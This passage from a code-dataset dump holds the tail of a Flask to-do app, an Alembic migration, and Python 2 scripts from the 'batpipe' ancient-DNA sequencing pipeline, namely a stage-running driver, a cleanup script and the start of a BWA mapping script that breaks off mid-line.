default=False)\n\n list_id = db.Column(db.Integer, db.ForeignKey('todo_lists.id'), nullable=0)\n\n def __repr__(self):\n return f\"<ToDO ID: {self.id}, {self.description}>\"\n\n# db.create_all()\n\n\[email protected]('/todos/create', methods=['POST'])\ndef create_todo():\n error = False\n body = {}\n try:\n description = request.get_json().get('description', '')\n list_id = request.get_json().get('list_id')\n todo = ToDo(description=description)\n todo.list_id = list_id\n\n db.session.add(todo)\n db.session.commit()\n body = {\n \"id\": todo.id,\n \"description\": todo.description\n }\n\n except:\n db.session.rollback()\n print(sys.exc_info())\n error = True\n\n finally:\n db.session.close()\n\n return abort(400) if error else jsonify(body) \n\n\[email protected](\"/todos/<item_id>/set-completed\", methods=[\"POST\"])\ndef set_item_completed(item_id):\n try:\n completed = request.get_json().get(\"completed\")\n item = ToDo.query.get(item_id)\n item.completed = completed\n db.session.commit()\n except:\n db.session.rollback()\n print(sys.exc_info())\n\n finally:\n db.session.close()\n\n return redirect(url_for(\"index\"))\n\[email protected](\"/todos/<item_id>/delete\", methods=[\"DELETE\"])\ndef delete_item(item_id):\n try:\n ToDo.query.filter_by(id=item_id).delete()\n db.session.commit()\n except:\n db.session.rollback()\n finally:\n db.session.close()\n\n return jsonify({\"success\": True})\n\n\[email protected]('/lists/<list_id>')\ndef get_list_items_by_id(list_id):\n data = ToDo.query.filter_by(list_id=list_id).order_by(\"id\").all()\n lists = TodoList.query.all()\n active_list = TodoList.query.get(list_id)\n return render_template(\"index.html\", data=data, lists=lists, active_list=active_list)\n\n \[email protected](\"/lists/new\", methods=[\"POST\"])\ndef create_new_list():\n try:\n new_list_name = request.get_json().get(\"name\")\n lst = TodoList(name=new_list_name)\n\n db.session.add(lst)\n db.session.commit()\n\n except:\n db.session.rollback()\n finally:\n db.session.close()\n\n return redirect(url_for(\"index\"))\n\n\[email protected](\"/\")\ndef index():\n return redirect(url_for('get_list_items_by_id', list_id=1))\n\nif __name__ == \"__main__\":\n app.run(debug=1)\n" }, { "alpha_fraction": 0.5967742204666138, "alphanum_fraction": 0.6278801560401917, "avg_line_length": 24.52941131591797, "blob_id": "1ef8db648fc285a6011aaecfbe846778f7ab1762", "content_id": "a8b52daa43358c5a1b4b047ca2a562c15812690d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 868, "license_type": "no_license", "max_line_length": 80, "num_lines": 34, "path": "/migrations/versions/ebc710f31b2c_.py", "repo_name": "mostafa-yasen/flask-todos-app", "src_encoding": "UTF-8", "text": "\"\"\"empty message\n\nRevision ID: ebc710f31b2c\nRevises: b65cd8af324b\nCreate Date: 2020-12-19 00:51:35.469033\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'ebc710f31b2c'\ndown_revision = 'b65cd8af324b'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('todos', sa.Column('completed', sa.Boolean(), nullable=False))\n op.alter_column('todos', 'description',\n existing_type=sa.VARCHAR(),\n nullable=0)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('todos', 'description',\n existing_type=sa.VARCHAR(),\n nullable=False)\n op.drop_column('todos', 'completed')\n # ### end Alembic commands ###\n" } ]
3
mjobin/batpipe
https://github.com/mjobin/batpipe
da844eadf6a5c29f9214f4e5ebea23e2d03fd1a8
d1340362f388dd6300def56e207d541420bcb98d
dca10edca7bbad3b1d0e223dbc857d1314605f5b
refs/heads/master
2021-07-13T01:41:15.120685
2018-11-19T22:00:22
2018-11-19T22:00:22
132,015,833
6
0
null
null
null
null
null
[ { "alpha_fraction": 0.5749462842941284, "alphanum_fraction": 0.5823830962181091, "avg_line_length": 39.96162414550781, "blob_id": "78a4164fe6f0900c96a95a65f9e068f13b172740", "content_id": "e825452998d50d039fbc1a2f93de57e07c65b224", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18153, "license_type": "no_license", "max_line_length": 445, "num_lines": 443, "path": "/batpipe.py", "repo_name": "mjobin/batpipe", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\n\n#####################################\n##### HPG Lab #####\n##### updated April 2018 #####\n##### MJJ #####\n#####################################\n\n# Written and maintained by Matthew Jobin, UCSC Human Paleogenomics Lab\n# This runs the 0-4 scripts in succession\n\nimport argparse\nfrom argparse import RawTextHelpFormatter\nimport subprocess\nfrom subprocess import Popen, PIPE\n\n\ndef bash_command(cmd):\n subp = subprocess.Popen(['/bin/bash', '-c', cmd])\n subp.wait()\n return subp.returncode\n\n\ndef adddict(thedict):\n cl = \"\"\n for key in thedict:\n value = thedict[key]\n if type(value) is bool:\n if value:\n cl += \" -\"\n cl += str(key)\n else:\n cl += \" -\"\n cl += str(key)\n cl += \" \"\n cl += str(value)\n return cl\n\n\nif __name__ == \"__main__\":\n print (\"\\n\\n\")\n print(\n \" __.--'\\ \\.__./ /'--.__\\n _.-' '.__.' '.__.' '-._\\n .' '.\\n / BATPIPE \\\\\\n| |\\n| |\\n \\ .---. .---. /\\n '._ .' '.''. .''.' '. _.'\\n '-./ \\ / \\.-'\\n ''\")\n\n parser = argparse.ArgumentParser(description=\"Script runs all 0-4 scripts:\\n\\t\"\n \"1. You can choose whether to run 2b\\n\"\n \"2. Anything you put on the command line here will go to the appropriate scirpt\\n\"\n \"\", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument('-twob', dest='twob', help='Run 2b_contammix.',\n action='store_true')\n parser.set_defaults(fourb=False)\n parser.add_argument('-skipzero', dest='skipzero', help='Skip zero script.',\n action='store_true')\n parser.set_defaults(skipzero=False)\n parser.add_argument('-bc_file', metavar='<bc_file>', help='location of barcode files, Must have a newline at end.',\n required=True)\n parser.add_argument('-wd', metavar='<wd>', help='Working directory. Defaults to current.', default='.')\n parser.add_argument('-bc_bin_clip', metavar='<bcbinclip>', help='Location of BC_BIN_CLIP',\n default='/data/scripts')\n parser.add_argument('-rawreads', metavar='<rawreads>', help='Location of raw reads',\n default='/data/raw')\n parser.add_argument('-ref_barcodes', metavar='<ref_barcodes>', help='Location of references barcodes',\n default='/data/projects/internal_barcodes.txt')\n parser.add_argument('-univ_illumina', metavar='<univ_illumina>', help='Universal Illumina adapter',\n default='AGATCGGAAG')\n parser.add_argument('-seqprep_min_length', metavar='<seqprep_min_length>', help='Seqprep Min lengthr',\n default=30)\n parser.add_argument('-seqprep_overlap', metavar='<seqprep_overlap>', help='Seqprep overlap',\n default=10)\n parser.add_argument('-mismatch', metavar='<mismatch>', help='Mismatch tolerance',\n default=2)\n parser.add_argument('-threads', metavar='<threads>', help='Max threads',\n default=\"23\")\n parser.add_argument('-bc_trim', metavar='<bc_trim>', help='Location of barcode trimmed files',\n default='/data/barcodetrimmed')\n parser.add_argument('-seqprep_output', metavar='<seqprep_output>', help='seqprep_output',\n default='/data/adaptertrimmed')\n parser.add_argument('-seqprep_output_in_output', metavar='<seqprep_output_in_output>',\n help='Prepend output directory to seqprep_output',\n default=False)\n parser.add_argument('-bformat', dest='bformat', help='Barcode format type new?.',\n action='store_true')\n parser.set_defaults(bformat=False)\n parser.add_argument('-overwrite', dest='overwrite', help='Overwrite existing files and directories.',\n action='store_true')\n parser.set_defaults(overwrite=False)\n parser.add_argument('-fqloc', metavar='<fqloc>', help='Location of fq files',\n default='/data/adaptertrimmed')\n parser.add_argument('-verbose', dest='verbose', help='Print stdout and stderr to console.',\n action='store_true')\n parser.set_defaults(verbose=False)\n\n # ONE\n parser.add_argument('-mtdna', metavar='<mtdna>', help='mtDNA mapping',\n default='/data/genomes/rCRS.fas')\n parser.add_argument('-mia_ref', metavar='<mia_ref>', help='mia_ref',\n default='rCRS')\n parser.add_argument('-index_algorithm', metavar='<index_algorithm>',\n help='If reference is <2Gb use is, if >2Gb use bwtsw',\n default='bwtsw')\n parser.add_argument('-seed_disable', metavar='<seed_disable>',\n help='Following ancient DNA data processing protocols',\n default=\"1024\")\n parser.add_argument('-q', metavar='<q>', help='BWA min quality. 20 provides a fairly low cutoff',\n default=\"20\")\n parser.add_argument('-adna_matrix', metavar='<adna_matrix>', help='aDNA matrix',\n default='/data/scripts/ancient.submat.txt')\n parser.add_argument('-max_misincorp_frequency', metavar='<max_misincorp_frequency>',\n help=' Use 0.3 if not too badly damaged, use 0.5 if badly damaged',\n default=\"0.3\")\n parser.add_argument('-read_plot_length', metavar='<read_plot_length>',\n help='The number of nucleotides to plot at the 5\\' and 3\\' ends of the read',\n default=\"25\")\n parser.add_argument('-max_read_length', metavar='<max_read_length>', help='The maximum read length to consider',\n default=\"150\")\n parser.add_argument('-frag_length_r', metavar='<frag_length_r>', help='frag_length_r',\n default='/data/scripts/frag_len_hist.R')\n parser.add_argument('-bwaindex', dest='bwaindex', help='Need to index if never used the reference genome before.',\n action='store_true')\n parser.set_defaults(bwaindex=False)\n parser.add_argument('-nomia', dest='nomia', help='Do not run MIA.',\n action='store_true')\n parser.set_defaults(nomia=False)\n parser.add_argument('-malt', dest='malt', help='Run MALT.',\n action='store_true')\n parser.set_defaults(malt=False)\n parser.add_argument('-nosexest', dest='nosexest', help='Do not run sex estimation.',\n action='store_true')\n parser.set_defaults(nosexest=False)\n parser.add_argument('-kraken', dest='kraken', help='Release the kraken.',\n action='store_true')\n parser.set_defaults(kraken=False)\n parser.add_argument('-diamond', dest='diamond', help='Run Diamond',\n action='store_true')\n parser.set_defaults(diamond=False)\n parser.add_argument('-diamondblock', metavar='<diamondblock>', help=\"Diamond block size\",\n default='48.0')\n parser.add_argument('-diamondtmp', metavar='<diamondtmp>', help=\"Temp directory for Diamond\",\n default='/dev/shm')\n parser.add_argument('-nodedup', dest='nodedup', help='Use samtools instead of DeDup to remove duplicates.',\n action='store_true')\n parser.set_defaults(nodedup=False)\n parser.add_argument('-skipprinseq', dest='skipprinseq', help='Skip the prinseq part of script.',\n action='store_true')\n parser.set_defaults(overwrite=False)\n parser.add_argument('-refs', dest='refs', nargs='+', default=[],\n help='List of reference sequences other than hg19 and rCRS.')\n parser.add_argument('-sexref', metavar='<sexref>', help=\"Reference sequence for Skoglunds sex estimation scripts\",\n default='/data/genomes/hg19.fa')\n parser.add_argument('-bwamaxedit', metavar='<bwamaxedit>',\n help='Maximum edit distance if the value is INT, or the fraction of missing alignments given 2 percent uniform base error rate if FLOAT. In the latter case, the maximum edit distance is automatically chosen for different read lengths.',\n default=\"0.01\")\n parser.add_argument('-clipleft', metavar='<clipleft>',\n help='Number of bases to clip from left end of BAM file after mapDamage run.',\n default=\"0\")\n parser.add_argument('-clipright', metavar='<clipright>',\n help='Number of bases to clip from right end of BAM file after mapDamage run.',\n default=\"0\")\n parser.add_argument('-maltdb', metavar='<maltdb>', help='MALT database.',\n default=\"/data/db/malt/nr/\")\n parser.add_argument('-maltblast', metavar='<maltblast>', help='MALT BLAST type.',\n default=\"BlastX\")\n parser.add_argument('-megandir', metavar='<megandir>', help='MEGAN6 directory',\n default='/opt/megan')\n parser.add_argument('-krakendb', metavar='<krakendb>', help='KrakenDB location',\n default='/data/db/krakenDB')\n parser.add_argument('-blastdir', metavar='<blastdir>', help='BLAST db directory',\n default='/data/db/BLAST')\n parser.add_argument('-scriptsdir', metavar='<scriptsdir>', help='Default scripts directory',\n default='/data/scripts')\n\n # TWO A\n parser.add_argument('-mt311', metavar='<mt311>', help='mt311',\n default='/data/genomes/mt311.fna')\n\n # THREE\n parser.add_argument('-mpa_pkl', metavar='<mpa_pkl>', help='mpa_pkl',\n default='/data/install/metaphlan2/db_v20/mpa_v20_m200.pkl')\n parser.add_argument('-bowtie2db', metavar='<bowtie2db>',\n help='I thought this was called Bowie2DB and was momentarily happy',\n default='/data/install/metaphlan2/db_v20/mpa_v20_m200')\n\n # FOUR\n parser.add_argument('-pmdref', metavar='<pmdref>', help='',\n default=\"hg19\")\n parser.add_argument('-pmd_threshold', metavar='<pmd_threshold>', help='PMDtools threshold',\n default=\"3\")\n\n # RESULTS\n parser.add_argument('-raw', metavar='<raw>', help='Location of raw reads',\n default='/data/raw')\n parser.add_argument('-mito_ref', metavar='<mito_ref>', help='mito_ref',\n default='rCRS')\n parser.add_argument('-wobc_output', metavar='<wobc_output>', help='wobc_output',\n default='/data/barcodetrimmed')\n\n thisdict = {}\n alldict = {}\n zerodict = {}\n onedict = {}\n resultsdict = {}\n twoadict = {}\n twobdict = {}\n threedict = {}\n fourdict = {}\n\n args = parser.parse_args()\n twob = bool(args.twob)\n skipzero = bool(args.skipzero)\n\n wd = args.wd\n alldict[\"wd\"] = wd\n bcfile = args.bc_file\n alldict[\"bc_file\"] = bcfile\n verbose = bool(args.verbose)\n alldict[\"verbose\"] = verbose\n bcbinclip = args.bc_bin_clip\n\n rawreads = args.rawreads\n zerodict[\"rawreads\"] = rawreads\n\n univ_illumina = args.univ_illumina\n zerodict[\"univ_illumina\"] = univ_illumina\n\n ref_barcodes = args.ref_barcodes\n zerodict[\"ref_barcodes\"] = ref_barcodes\n\n seqprep_min_length = args.seqprep_min_length\n zerodict[\"seqprep_min_length\"] = seqprep_min_length\n\n seqprep_overlap = int(args.seqprep_overlap)\n zerodict[\"seqprep_overlap\"] = seqprep_overlap\n\n mismatch = int(args.mismatch)\n zerodict[\"mismatch\"] = mismatch\n\n bc_trim = args.bc_trim\n zerodict[\"bc_trim\"] = bc_trim\n\n seqprep_output_in_output = bool(args.seqprep_output_in_output)\n zerodict[\"seqprep_output_in_output\"] = seqprep_output_in_output\n\n seqprep_output = args.seqprep_output\n zerodict[\"seqprep_output\"] = seqprep_output\n\n bformat = bool(args.bformat)\n zerodict[\"bformat\"] = bformat\n\n fqloc = args.fqloc\n zerodict[\"fqloc\"] = fqloc\n\n overwrite = bool(args.overwrite)\n zerodict[\"overwrite\"] = overwrite\n\n threads = args.threads\n zerodict[\"threads\"] = threads\n\n # 1\n mtdna = args.mtdna\n mia_ref = args.mia_ref\n index_algorithm = args.index_algorithm\n seed_disable = args.seed_disable\n q = args.q\n adna_matrix = args.adna_matrix\n max_misincorp_frequency = args.max_misincorp_frequency\n read_plot_length = args.read_plot_length\n max_read_length = args.max_read_length\n frag_length_r = args.frag_length_r\n bwaindex = bool(args.bwaindex)\n nomia = bool(args.nomia)\n malt = bool(args.malt)\n nosexest = bool(args.nosexest)\n kraken = bool(args.kraken)\n diamond = bool(args.diamond)\n diamondblock = args.diamondblock\n diamondtmp = args.diamondtmp\n nodedup = bool(args.nodedup)\n skipprinseq = bool(args.skipprinseq)\n refs = args.refs\n\n arefs = [\"/data/genomes/hg19.fa\", \"/data/genomes/rCRS.fas\"]\n for ref in refs:\n arefs.append(ref)\n\n refs = \"\"\n for ref in arefs:\n refs = refs + ref\n refs = refs + \" \"\n\n sexref = args.sexref\n bwamaxedit = args.bwamaxedit\n clipleft = args.clipleft\n clipright = args.clipright\n maltdb = args.maltdb\n maltblast = args.maltblast\n megandir = args.megandir\n krakendb = args.krakendb\n blastdir = args.blastdir\n scriptsdir = args.scriptsdir\n\n onedict[\"mtdna\"] = mtdna\n onedict[\"mia_ref\"] = mia_ref\n onedict[\"index_algorithm\"] = index_algorithm\n onedict[\"seed_disable\"] = seed_disable\n onedict[\"threads\"] = threads\n onedict[\"q\"] = q\n onedict[\"adna_matrix\"] = adna_matrix\n onedict[\"max_misincorp_frequency\"] = max_misincorp_frequency\n onedict[\"read_plot_length\"] = read_plot_length\n onedict[\"max_read_length\"] = max_read_length\n onedict[\"frag_length_r\"] = frag_length_r\n onedict[\"bwaindex\"] = bwaindex\n onedict[\"nomia\"] = nomia\n onedict[\"malt\"] = malt\n onedict[\"nosexest\"] = nosexest\n onedict[\"kraken\"] = kraken\n onedict[\"diamond\"] = diamond\n onedict[\"diamondblock\"] = diamondblock\n onedict[\"diamondtmp\"] = diamondtmp\n onedict[\"nodedup\"] = nodedup\n onedict[\"skipprinseq\"] = skipprinseq\n onedict[\"overwrite\"] = overwrite\n onedict[\"seqprep_output_in_output\"] = seqprep_output_in_output\n onedict[\"seqprep_output\"] = seqprep_output\n onedict[\"refs\"] = refs\n onedict[\"sexref\"] = sexref\n onedict[\"bwamaxedit\"] = bwamaxedit\n onedict[\"clipleft\"] = clipleft\n onedict[\"clipright\"] = clipright\n onedict[\"maltdb\"] = maltdb\n onedict[\"maltblast\"] = maltblast\n onedict[\"bformat\"] = bformat\n onedict[\"megandir\"] = megandir\n onedict[\"krakendb\"] = krakendb\n onedict[\"blastdir\"] = blastdir\n onedict[\"scriptsdir\"] = scriptsdir\n\n # TWO_A\n mt311 = args.mt311\n twoadict[\"mt311\"] = mt311\n twoadict[\"overwrite\"] = overwrite\n\n # TWO B\n twobdict[\"mt311\"] = mt311\n twobdict[\"mia_ref\"] = mia_ref\n twobdict[\"seqprep_output\"] = seqprep_output\n twobdict[\"seqprep_output_in_output\"] = seqprep_output_in_output\n twobdict[\"threads\"] = threads\n twobdict[\"overwrite\"] = overwrite\n\n # THREE\n mpa_pkl = args.mpa_pkl\n bowtie2db = args.bowtie2db\n threedict[\"mpa_pkl\"] = mpa_pkl\n threedict[\"bowtie2db\"] = bowtie2db\n threedict[\"seqprep_output\"] = seqprep_output\n threedict[\"seqprep_output_in_output\"] = seqprep_output_in_output\n threedict[\"overwrite\"] = overwrite\n\n # FOUR\n pmd_threshold = args.pmd_threshold\n pmdref = args.pmdref\n fourdict[\"pmdref\"] = pmdref\n fourdict[\"q\"] = q\n fourdict[\"pmd_threshold\"] = pmd_threshold\n fourdict[\"overwrite\"] = overwrite\n\n # RESULTS\n raw = args.raw\n mito_ref = args.mito_ref\n wobc_output = args.wobc_output\n\n resultsdict[\"raw\"] = raw\n resultsdict[\"seqprep_output\"] = seqprep_output\n resultsdict[\"seqprep_output_in_output\"] = seqprep_output_in_output\n resultsdict[\"wobc_output\"] = wobc_output\n resultsdict[\"nomia\"] = nomia\n resultsdict[\"refs\"] = refs\n resultsdict[\"bformat\"] = bformat\n\n runline = \"0_trim_barcodes.py\"\n runline += adddict(alldict)\n runline += adddict(zerodict)\n if not skipzero:\n rc = bash_command(runline)\n if rc != 0:\n print \"Error in script 0! Halting. Check logs!\"\n exit()\n\n runline = \"1_map.py\"\n runline += adddict(alldict)\n runline += adddict(onedict)\n rc = bash_command(runline)\n if rc != 0:\n print \"Error in script 1! Halting. Check logs!\"\n exit()\n\n runline = \"2a_contam.py\"\n runline += adddict(alldict)\n runline += adddict(twoadict)\n rc = bash_command(runline)\n if rc != 0:\n print \"Error in script 2a! Halting. Check logs!\"\n exit()\n\n if twob:\n runline = \"2b_contammix.py\"\n runline += adddict(alldict)\n runline += adddict(twobdict)\n rc = bash_command(runline)\n if rc != 0:\n print \"Error in script 2b! Halting. Check logs!\"\n exit()\n\n runline = \"3_metaphlan.py\"\n runline += adddict(alldict)\n runline += adddict(threedict)\n rc = bash_command(runline)\n if rc != 0:\n print \"Error in script 3! Halting. Check logs!\"\n exit()\n\n runline = \"4_pmdtools.py\"\n runline += adddict(alldict)\n runline += adddict(fourdict)\n rc = bash_command(runline)\n if rc != 0:\n print \"Error in script 4! Halting. Check logs!\"\n exit()\n\n runline = \"results.py\"\n runline += adddict(alldict)\n runline += adddict(resultsdict)\n rc = bash_command(runline)\n if rc != 0:\n print \"Error in script results! Halting. Check logs!\"\n exit()\n\n print \"batpipe.py complete\"\n\n exit(0)\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5565189719200134, "alphanum_fraction": 0.5584457516670227, "avg_line_length": 28.894229888916016, "blob_id": "5973c8d2b4d711e7b1c44a27e4dd7517fedd82a0", "content_id": "e31ab1fd74f0e42294eeb9e206e4b1b9264f9f4d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3114, "license_type": "no_license", "max_line_length": 110, "num_lines": 104, "path": "/scrubber.py", "repo_name": "mjobin/batpipe", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\n#####################################\n##### HPG Lab #####\n##### updated April 2018 #####\n##### MJJ #####\n#####################################\n\n# For cleaning up intermediate files from batpipe.runs\n\nimport argparse\nfrom argparse import RawTextHelpFormatter\nimport os\nimport sys\nimport progressbar\nimport datetime\nimport gzip\nimport shutil\nimport fnmatch\nimport subprocess\nfrom subprocess import Popen, PIPE\n\n\ndef bash_command(cmd):\n cmdfile.write(cmd)\n cmdfile.write(\"\\n\\n\")\n subp = subprocess.Popen(['/bin/bash', '-c', cmd], stdout=PIPE, stderr=PIPE)\n stdout, stderr = subp.communicate()\n if verbose:\n print stdout\n logfile.write(stdout)\n if verbose:\n print stderr\n logfile.write(stderr)\n return stdout\n\nif __name__ == \"__main__\":\n print \"\\n****************\\nSCRUBBER\\n****************\\n\"\n\n parser = argparse.ArgumentParser(description=\"# This script:\\n\"\n \"1. cleans up intermediate files from batpipe run\\n\"\n \"- \", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n\n\n\n parser.add_argument('-rawreads', metavar='<rawreads>', help='Location of raw reads',\n default='/data/raw')\n parser.add_argument('-bc_trim', metavar='<bc_trim>', help='Location of barcode trimmed files',\n default='/data/barcodetrimmed')\n parser.add_argument('-seqprep_output', metavar='<seqprep_output>', help='seqprep_output',\n default='/data/adaptertrimmed')\n\n args = parser.parse_args()\n seqprep_output = args.seqprep_output\n rawreads = args.rawreads\n bc_trim = args.bc_trim\n\n\n print \"\\n*******************WARNING*********************\\n\"\n print \"Do not run this script while anyone is running batpipe on the same machine.\"\n response = raw_input(\"Enter Y to proceed, any other key to cancel: \")\n if response != 'Y':\n print \"Exiting.\"\n exit()\n\n pattern = \"bcpos-*\"\n files = os.listdir(seqprep_output)\n for name in files:\n if (fnmatch.fnmatch(name, pattern)):\n os.remove(seqprep_output + \"/\" + name)\n\n pattern = \"nobcpos-*\"\n files = os.listdir(seqprep_output)\n for name in files:\n if (fnmatch.fnmatch(name, pattern)):\n os.remove(seqprep_output + \"/\" + name)\n\n pattern = \"bcpos-*\"\n files = os.listdir(bc_trim)\n for name in files:\n if (fnmatch.fnmatch(name, pattern)):\n os.remove(bc_trim + \"/\" + name)\n\n pattern = \"nobcpos-*\"\n files = os.listdir(bc_trim)\n for name in files:\n if (fnmatch.fnmatch(name, pattern)):\n os.remove(bc_trim + \"/\" + name)\n\n pattern = \"bcpos-*\"\n files = os.listdir(rawreads)\n for name in files:\n if (fnmatch.fnmatch(name, pattern)):\n os.remove(rawreads + \"/\" + name)\n\n pattern = \"nobcpos-*\"\n files = os.listdir(rawreads)\n for name in files:\n if (fnmatch.fnmatch(name, pattern)):\n os.remove(rawreads + \"/\" + name)\n\n\n exit(0)\n\n\n\n\n\n" }, { "alpha_fraction": 0.5151003003120422, "alphanum_fraction": 0.5216259956359863, "avg_line_length": 47.18390655517578, "blob_id": "1472bbd3cb372967e8dce43f164f7b01e89dad20", "content_id": "58078b3cef0d872e93d2cea2f3a7b3879be3bfdd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 46125, "license_type": "no_license", "max_line_length": 264, "num_lines": 957, "path": "/1_map.py", "repo_name": "mjobin/batpipe", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\n#####################################\n##### HPG Lab #####\n##### updated April 2018 #####\n##### MJJ #####\n#####################################\n\n# Converted to Python, extended and maintained by Matthew Jobin, UCSC Human Paleogenomics Lab\n# Script for processing shotgun sequencing data on HPG Lab\n# Based off of UCSC's Pete Heintzman processing script\n# Sequence data should already be trimmed by barcode remover and SeqPrep2 in SeqPrep2 output\n# Requires 'barcode' file with fastq prefix, output name and internal barcodes\n\nimport argparse\nfrom argparse import RawTextHelpFormatter\nimport os\nimport sys\nimport progressbar\nimport datetime\nimport gzip\nimport shutil\nimport fnmatch\nimport subprocess\nfrom subprocess import Popen, PIPE\n\n\ndef bash_command(cmd):\n cmdfile.write(cmd)\n cmdfile.write(\"\\n\\n\")\n subp = subprocess.Popen(['/bin/bash', '-c', cmd], stdout=PIPE, stderr=PIPE)\n stdout, stderr = subp.communicate()\n if verbose:\n print stdout\n logfile.write(stdout)\n if verbose:\n print stderr\n logfile.write(stderr)\n return stdout\n\n\ndef bwa_align_se(refname, refloc, bso_s, btail, bbwa_output, bsample, bq):\n infile = bso_s + btail + \".fastq\"\n bwaalignline = \"bwa aln -l \" + seed_disable + \" -n \" + bwamaxedit + \" -t \" + threads + \" \" + refloc + \" \" + infile\n bwasline = \"bwa samse \" + refloc + \" - \" + infile\n samviewline = \"samtools view -q \" + bq + \" -F 4 -buh - \"\n samsortline = \"samtools sort -@ \" + threads + \" -m 4G -o \" + bbwa_output + \"/\" + bsample + btail + \".\" + refname + \".q\" + bq + \".s.bam\"\n seline = bwaalignline + \" | \" + bwasline + \" | \" + samviewline + \" | \" + samsortline\n bash_command(seline)\n\n\ndef bwa_align_pe(refname, refloc, bso_s, btail, bbwa_output, bsample, btail1, btail2, bq):\n infile1 = bso_s + btail1 + \".fastq\"\n infile2 = bso_s + btail2 + \".fastq\"\n bwasaline = \"bwa sampe \" + refloc + \" <(bwa aln -l \" + seed_disable + \" -n \" + bwamaxedit + \" -t \" + threads \\\n + \" \" + refloc + \" \" + infile1 + \") \" + \"<(bwa aln -l \" + seed_disable + \" -n 0.01 -t \" \\\n + threads + \" \" + refloc + \" \" + infile2 + \") \" + infile1 + \" \" + infile2\n samviewline = \"samtools view -q \" + bq + \" -F 4 -buh - \"\n samsortline = \"samtools sort -@ \" + threads + \" -m 4G -o \" + bbwa_output + \"/\" + bsample + btail + \".\" + refname + \".q\" + bq + \".s.bam\"\n peline = bwasaline + \" | \" + samviewline + \" | \" + samsortline\n bash_command(peline)\n\n\nif __name__ == \"__main__\":\n\n print \"\\n****************\\nMAP\\n****************\\n\"\n\n parser = argparse.ArgumentParser(description=\"# This script:\\n\"\n \"1. uncompresses fastq.gz files\\n\"\n \"2. bwa maps to reference genome(s)\\n\"\n \"3. samtools processing (eg sam --> bam, rmdup)\\n\"\n \"4. Calculates frag length mean and distribution; outputs figure\\n\"\n \"5. MapDamage2 profiles\\n\"\n \"6. MIA maps to mtDNA (rCRS)\\n\"\n \"7. MALT analysis\\n\"\n \"8. Sex estimation > $SAMPLE.sex.txt.\\n\\t\"\n \"- \", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument('-bc_file', metavar='<bc_file>', help='location of barcode files, Must have a newline at end.',\n required=True)\n parser.add_argument('-wd', metavar='<wd>', help='Working directory. Defaults to current.', default='.')\n parser.add_argument('-mia_ref', metavar='<mia_ref>', help='mia_ref',\n default='rCRS')\n parser.add_argument('-mtdna', metavar='<mtdna>', help='mtDNA mapping',\n default='/data/genomes/rCRS.fas')\n parser.add_argument('-index_algorithm', metavar='<index_algorithm>',\n help='If reference is <2Gb use is, if >2Gb use bwtsw',\n default='bwtsw')\n parser.add_argument('-seed_disable', metavar='<seed_disable>',\n help='Following ancient DNA data processing protocols',\n default=\"1024\")\n parser.add_argument('-threads', metavar='<threads>',\n help='Number of concerrent threads to use when invoking software.',\n default=\"23\")\n parser.add_argument('-q', metavar='<q>', help='BWA min quality. 20 provides a fairly low cutoff',\n default=\"20\")\n parser.add_argument('-adna_matrix', metavar='<adna_matrix>', help='aDNA matrix',\n default='/data/scripts/ancient.submat.txt')\n parser.add_argument('-max_misincorp_frequency', metavar='<max_misincorp_frequency>',\n help=' Use 0.3 if not too badly damaged, use 0.5 if badly damaged',\n default=\"0.3\")\n parser.add_argument('-read_plot_length', metavar='<read_plot_length>',\n help='The number of nucleotides to plot at the 5\\' and 3\\' ends of the read',\n default=\"25\")\n parser.add_argument('-max_read_length', metavar='<max_read_length>', help='The maximum read length to consider',\n default=\"150\")\n parser.add_argument('-frag_length_r', metavar='<frag_length_r>', help='frag_length_r',\n default='/data/scripts/frag_len_hist.R')\n parser.add_argument('-seqprep_output', metavar='<seqprep_output>', help='seqprep_output',\n default='/data/adaptertrimmed')\n parser.add_argument('-bwaindex', dest='bwaindex', help='Need to index if never used the reference genome before.',\n action='store_true')\n parser.set_defaults(bwaindex=False)\n parser.add_argument('-verbose', dest='verbose', help='Print stdout and stderr to console.',\n action='store_true')\n parser.set_defaults(verbose=False)\n parser.add_argument('-nomia', dest='nomia', help='Do not run MIA.',\n action='store_true')\n parser.set_defaults(nomia=False)\n parser.add_argument('-malt', dest='malt', help='Run MALT.',\n action='store_true')\n parser.set_defaults(malt=False)\n parser.add_argument('-nosexest', dest='nosexest', help='Do not run sex estimation.',\n action='store_true')\n parser.set_defaults(nosexest=False)\n parser.add_argument('-kraken', dest='kraken', help='Release the kraken!',\n action='store_true')\n parser.set_defaults(kraken=False)\n parser.add_argument('-diamond', dest='diamond', help='Run Diamond',\n action='store_true')\n parser.set_defaults(diamond=False)\n parser.add_argument('-diamondblock', metavar='<diamondblock>', help=\"Diamond block size\",\n default='48.0')\n parser.add_argument('-diamondtmp', metavar='<diamondtmp>', help=\"Temp directory for Diamond\",\n default='/dev/shm')\n parser.add_argument('-overwrite', dest='overwrite', help='Overwrite existing files and directories.',\n action='store_true')\n parser.set_defaults(overwrite=False)\n parser.add_argument('-bformat', dest='bformat', help='Barcode format type old (barcodes as sequence not numbers)?.',\n action='store_true')\n parser.set_defaults(bformat=False)\n parser.add_argument('-refs', dest='refs', nargs='+', default=[],\n help='List of reference sequences other than hg19 and rCRS.')\n parser.add_argument('-sexref', metavar='<sexref>', help=\"Reference sequence for Skoglunds sex estimation scripts\",\n default='/data/genomes/hg19.fa')\n parser.add_argument('-bwamaxedit', metavar='<bwamaxedit>',\n help='Maximum edit distance if the value is INT, or the fraction of missing alignments given 2 percent uniform base error rate if FLOAT. In the latter case, the maximum edit distance is automatically chosen for different read 